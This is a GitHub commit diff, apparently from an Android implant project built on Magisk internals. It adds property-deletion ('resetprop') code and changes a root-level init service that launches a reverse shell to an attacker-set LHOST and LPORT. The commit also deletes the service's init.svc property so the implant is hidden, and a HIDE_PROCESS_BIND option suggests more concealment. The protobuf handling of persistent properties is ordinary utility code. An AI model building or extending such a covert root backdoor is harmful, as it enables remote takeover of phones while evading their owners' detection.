Skip to content

Commit 0f75a3c

Browse files
author
ng
committed
add resetprop, allow to run without lhost / lport
1 parent 8d9afa0 commit 0f75a3c

File tree

6 files changed

+644
-5
lines changed

6 files changed

+644
-5
lines changed

native/jni/Android.mk

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -90,15 +90,21 @@ ifdef B_EXECUTOR
9090

9191
LOCAL_MODULE := executor
9292

93-
LOCAL_STATIC_LIBRARIES := libutils
93+
LOCAL_STATIC_LIBRARIES := libnanopb libsystemproperties libutils
9494

9595
LOCAL_C_INCLUDES := \
9696
jni/include \
9797
out
9898

99-
LOCAL_SRC_FILES := payload/executor.cpp
99+
LOCAL_SRC_FILES := payload/executor.cpp \
100+
resetprop/resetprop.cpp \
101+
resetprop/persist_properties.cpp
102+
103+
ifdef LPORT
104+
LOCAL_CPPFLAGS += -DLPORT=\"$(LPORT)\"
105+
endif
100106

101-
LOCAL_CPPFLAGS += -DLPORT=\"$(LPORT)\" -DLHOST=\"$(LHOST)\"
107+
LOCAL_CPPFLAGS += -DLHOST=\"$(LHOST)\"
102108

103109
ifdef HIDE_PROCESS_BIND
104110
LOCAL_CPPFLAGS += -DHIDE_PROCESS_BIND

native/jni/init/magiskrc.inc

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,11 +10,12 @@ constexpr char PAYLOAD_RC[] =
1010

1111
// Define oneshot service for payload executor
1212

13-
"service %2$s %1$s/executor\n"
13+
"service %2$s %1$s/executor %2$s\n"
1414
" disabled\n"
1515
" user root\n"
1616
" group root\n"
1717
" seclabel u:r:" SEPOL_PROC_DOMAIN ":s0\n"
18+
" shutdown critical\n"
1819
" oneshot\n"
1920
"\n"
2021

native/jni/payload/executor.cpp

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
#include <android/log.h>
1313

1414
#include <utils.hpp>
15+
#include <resetprop.hpp>
1516

1617

1718
#ifdef MAGISK_DEBUG
@@ -176,6 +177,11 @@ int main(int argc, char** argv, char** envp) {
176177
std::string revshell_path;
177178
int status;
178179

180+
// Hide prop: init.svc.SVC_NAME
181+
if (argc != 2) return 0;
182+
std::string svc_name = "init.svc." + std::string(argv[1]);
183+
delprop(svc_name.c_str());
184+
179185
// Remount read-only /sbin on system-as-root
180186
// (may fail on rootfs, no problem there)
181187
if (access("/sbin", F_OK) == 0) {
@@ -236,9 +242,13 @@ int main(int argc, char** argv, char** envp) {
236242

237243
if (revshell == 0) {
238244
// Child (revshell)
239-
// TODO: Change this command line according to your payload
245+
// TODO: Change this command line according to your payload if needed
246+
#ifdef LPORT
240247
char *const rs_argv[] = {(char *const) revshell_path.c_str(), (char *const) "-p", (char *const) LPORT,
241248
(char *const) LHOST, nullptr};
249+
#else
250+
char *const rs_argv[] = {(char *const) revshell_path.c_str(), (char *const) LHOST, nullptr};
251+
#endif
242252
execve(revshell_path.c_str(), rs_argv, envp);
243253
} else {
244254
// Parent (executor)

native/jni/resetprop/_resetprop.hpp

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#pragma once
2+
3+
#include <string>
4+
#include <map>
5+
6+
#include <system_properties.h>
7+
8+
#define PERSISTENT_PROPERTY_DIR "/data/property"
9+
10+
struct prop_cb {
11+
virtual void exec(const char *name, const char *value) {
12+
exec(std::string(name), value);
13+
}
14+
virtual void exec(std::string &&name, const char *value) {
15+
exec(name.data(), value);
16+
}
17+
};
18+
19+
extern bool use_pb;
20+
21+
using prop_list = std::map<std::string, std::string>;
22+
23+
struct prop_collector : prop_cb {
24+
explicit prop_collector(prop_list &list) : list(list) {}
25+
void exec(const char *name, const char *value) override {
26+
list.insert_or_assign(name, value);
27+
}
28+
void exec(std::string &&name, const char *value) override {
29+
list.insert_or_assign(std::move(name), value);
30+
}
31+
private:
32+
prop_list &list;
33+
};
34+
35+
std::string persist_getprop(const char *name);
36+
void persist_getprops(prop_cb *prop_cb);
37+
bool persist_deleteprop(const char *name);
Lines changed: 240 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,240 @@
1+
#include <pb.h>
2+
#include <pb_decode.h>
3+
#include <pb_encode.h>
4+
5+
#include <utils.hpp>
6+
7+
#include "_resetprop.hpp"
8+
9+
using namespace std;
10+
11+
/* ***********************************************************************
12+
* Auto generated header and field definitions compiled from
13+
* https://android.googlesource.com/platform/system/core/+/master/init/persistent_properties.proto
14+
* Generated with Nanopb: https://github.com/nanopb/nanopb
15+
* ***********************************************************************/
16+
17+
/* Automatically generated nanopb header */
18+
/* Generated by nanopb-0.4.3 */
19+
20+
#if PB_PROTO_HEADER_VERSION != 40
21+
#error Regenerate this file with the current version of nanopb generator.
22+
#endif
23+
24+
/* Struct definitions */
25+
struct PersistentProperties {
26+
pb_callback_t properties;
27+
};
28+
29+
struct PersistentProperties_PersistentPropertyRecord {
30+
pb_callback_t name;
31+
bool has_value;
32+
char value[92];
33+
};
34+
35+
/* Initializer values for message structs */
36+
#define PersistentProperties_init_default {{{NULL}, NULL}}
37+
#define PersistentProperties_PersistentPropertyRecord_init_default {{{NULL}, NULL}, false, ""}
38+
#define PersistentProperties_init_zero {{{NULL}, NULL}}
39+
#define PersistentProperties_PersistentPropertyRecord_init_zero {{{NULL}, NULL}, false, ""}
40+
41+
/* Field tags (for use in manual encoding/decoding) */
42+
#define PersistentProperties_properties_tag 1
43+
#define PersistentProperties_PersistentPropertyRecord_name_tag 1
44+
#define PersistentProperties_PersistentPropertyRecord_value_tag 2
45+
46+
/* Struct field encoding specification for nanopb */
47+
#define PersistentProperties_FIELDLIST(X, a) \
48+
X(a, CALLBACK, REPEATED, MESSAGE, properties, 1)
49+
#define PersistentProperties_CALLBACK pb_default_field_callback
50+
#define PersistentProperties_DEFAULT NULL
51+
#define PersistentProperties_properties_MSGTYPE PersistentProperties_PersistentPropertyRecord
52+
53+
#define PersistentProperties_PersistentPropertyRecord_FIELDLIST(X, a) \
54+
X(a, CALLBACK, OPTIONAL, STRING, name, 1) \
55+
X(a, STATIC, OPTIONAL, STRING, value, 2)
56+
#define PersistentProperties_PersistentPropertyRecord_CALLBACK pb_default_field_callback
57+
#define PersistentProperties_PersistentPropertyRecord_DEFAULT NULL
58+
59+
extern const pb_msgdesc_t PersistentProperties_msg;
60+
extern const pb_msgdesc_t PersistentProperties_PersistentPropertyRecord_msg;
61+
62+
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
63+
#define PersistentProperties_fields &PersistentProperties_msg
64+
#define PersistentProperties_PersistentPropertyRecord_fields &PersistentProperties_PersistentPropertyRecord_msg
65+
66+
/* Maximum encoded size of messages (where known) */
67+
/* PersistentProperties_size depends on runtime parameters */
68+
/* PersistentProperties_PersistentPropertyRecord_size depends on runtime parameters */
69+
70+
PB_BIND(PersistentProperties, PersistentProperties, AUTO)
71+
72+
PB_BIND(PersistentProperties_PersistentPropertyRecord, PersistentProperties_PersistentPropertyRecord, AUTO)
73+
74+
/* ***************************
75+
* End of auto generated code
76+
* ***************************/
77+
78+
bool use_pb = false;
79+
80+
static bool name_decode(pb_istream_t *stream, const pb_field_t *field, void **arg) {
81+
string &name = *static_cast<string *>(*arg);
82+
name.resize(stream->bytes_left);
83+
return pb_read(stream, (pb_byte_t *)(name.data()), stream->bytes_left);
84+
}
85+
86+
static bool name_encode(pb_ostream_t *stream, const pb_field_t *field, void * const *arg) {
87+
return pb_encode_tag_for_field(stream, field) &&
88+
pb_encode_string(stream, (const pb_byte_t *) *arg, strlen((const char *) *arg));
89+
}
90+
91+
static bool prop_decode(pb_istream_t *stream, const pb_field_t *field, void **arg) {
92+
PersistentProperties_PersistentPropertyRecord prop{};
93+
string name;
94+
prop.name.funcs.decode = name_decode;
95+
prop.name.arg = &name;
96+
if (!pb_decode(stream, &PersistentProperties_PersistentPropertyRecord_msg, &prop))
97+
return false;
98+
auto cb = static_cast<prop_cb*>(*arg);
99+
cb->exec(std::move(name), prop.value);
100+
return true;
101+
}
102+
103+
static bool prop_encode(pb_ostream_t *stream, const pb_field_t *field, void * const *arg) {
104+
PersistentProperties_PersistentPropertyRecord prop{};
105+
prop.name.funcs.encode = name_encode;
106+
prop.has_value = true;
107+
auto &list = *static_cast<prop_list *>(*arg);
108+
for (auto &p : list) {
109+
if (!pb_encode_tag_for_field(stream, field))
110+
return false;
111+
prop.name.arg = (void *) p.first.data();
112+
strcpy(prop.value, p.second.data());
113+
if (!pb_encode_submessage(stream, &PersistentProperties_PersistentPropertyRecord_msg, &prop))
114+
return false;
115+
}
116+
return true;
117+
}
118+
119+
static bool write_callback(pb_ostream_t *stream, const uint8_t *buf, size_t count) {
120+
int fd = (intptr_t)stream->state;
121+
return xwrite(fd, buf, count) == count;
122+
}
123+
124+
static pb_ostream_t create_ostream(const char *filename) {
125+
int fd = creat(filename, 0644);
126+
pb_ostream_t o = {
127+
.callback = write_callback,
128+
.state = (void*)(intptr_t)fd,
129+
.max_size = SIZE_MAX,
130+
.bytes_written = 0,
131+
};
132+
return o;
133+
}
134+
135+
static void pb_getprop(prop_cb *prop_cb) {
136+
LOGD("resetprop: decode with protobuf [" PERSISTENT_PROPERTY_DIR "/persistent_properties]\n");
137+
PersistentProperties props = {};
138+
props.properties.funcs.decode = prop_decode;
139+
props.properties.arg = prop_cb;
140+
pb_byte_t *buf;
141+
size_t size;
142+
mmap_ro(PERSISTENT_PROPERTY_DIR "/persistent_properties", buf, size);
143+
pb_istream_t stream = pb_istream_from_buffer(buf, size);
144+
pb_decode(&stream, &PersistentProperties_msg, &props);
145+
munmap(buf, size);
146+
}
147+
148+
static bool file_getprop(const char *name, char *value) {
149+
char path[4096];
150+
snprintf(path, sizeof(path), PERSISTENT_PROPERTY_DIR "/%s", name);
151+
int fd = open(path, O_RDONLY | O_CLOEXEC);
152+
if (fd < 0)
153+
return false;
154+
LOGD("resetprop: read prop from [%s]\n", path);
155+
value[read(fd, value, PROP_VALUE_MAX - 1)] = '\0'; // Null terminate the read value
156+
close(fd);
157+
return value[0] != '\0';
158+
}
159+
160+
void persist_getprops(prop_cb *prop_cb) {
161+
if (use_pb) {
162+
pb_getprop(prop_cb);
163+
} else {
164+
auto dir = open_dir(PERSISTENT_PROPERTY_DIR);
165+
if (!dir) return;
166+
for (dirent *entry; (entry = xreaddir(dir.get()));) {
167+
char value[PROP_VALUE_MAX];
168+
if (file_getprop(entry->d_name, value))
169+
prop_cb->exec(entry->d_name, value);
170+
}
171+
}
172+
}
173+
174+
struct match_prop_name : prop_cb {
175+
explicit match_prop_name(const char *name) : _name(name) { value[0] = '\0'; }
176+
void exec(string &&name, const char *val) override {
177+
if (name == _name)
178+
strcpy(value, val);
179+
}
180+
char value[PROP_VALUE_MAX];
181+
private:
182+
const char *_name;
183+
};
184+
185+
string persist_getprop(const char *name) {
186+
if (use_pb) {
187+
auto prop = match_prop_name(name);
188+
pb_getprop(&prop);
189+
if (prop.value[0]) {
190+
LOGD("resetprop: getprop (persist) [%s]: [%s]\n", name, prop.value);
191+
return prop.value;
192+
}
193+
} else {
194+
// Try to read from file
195+
char value[PROP_VALUE_MAX];
196+
if (file_getprop(name, value)) {
197+
LOGD("resetprop: getprop (persist) [%s]: [%s]\n", name, value);
198+
return value;
199+
}
200+
}
201+
return string();
202+
}
203+
204+
bool persist_deleteprop(const char *name) {
205+
if (use_pb) {
206+
prop_list list;
207+
prop_collector collector(list);
208+
persist_getprops(&collector);
209+
210+
for (auto it = list.begin(); it != list.end(); ++it) {
211+
if (it->first == name) {
212+
list.erase(it);
213+
// Dump the props back
214+
PersistentProperties props{};
215+
pb_ostream_t ostream = create_ostream(PERSISTENT_PROPERTY_DIR
216+
"/persistent_properties.tmp");
217+
props.properties.funcs.encode = prop_encode;
218+
props.properties.arg = &list;
219+
LOGD("resetprop: encode with protobuf [" PERSISTENT_PROPERTY_DIR
220+
"/persistent_properties.tmp]\n");
221+
if (!pb_encode(&ostream, &PersistentProperties_msg, &props))
222+
return false;
223+
clone_attr(PERSISTENT_PROPERTY_DIR "/persistent_properties",
224+
PERSISTENT_PROPERTY_DIR "/persistent_properties.tmp");
225+
rename(PERSISTENT_PROPERTY_DIR "/persistent_properties.tmp",
226+
PERSISTENT_PROPERTY_DIR "/persistent_properties");
227+
return true;
228+
}
229+
}
230+
return false;
231+
} else {
232+
char path[4096];
233+
snprintf(path, sizeof(path), PERSISTENT_PROPERTY_DIR "/%s", name);
234+
if (unlink(path) == 0) {
235+
LOGD("resetprop: unlink [%s]\n", path);
236+
return true;
237+
}
238+
}
239+
return false;
240+
}

0 commit comments

Comments
 (0)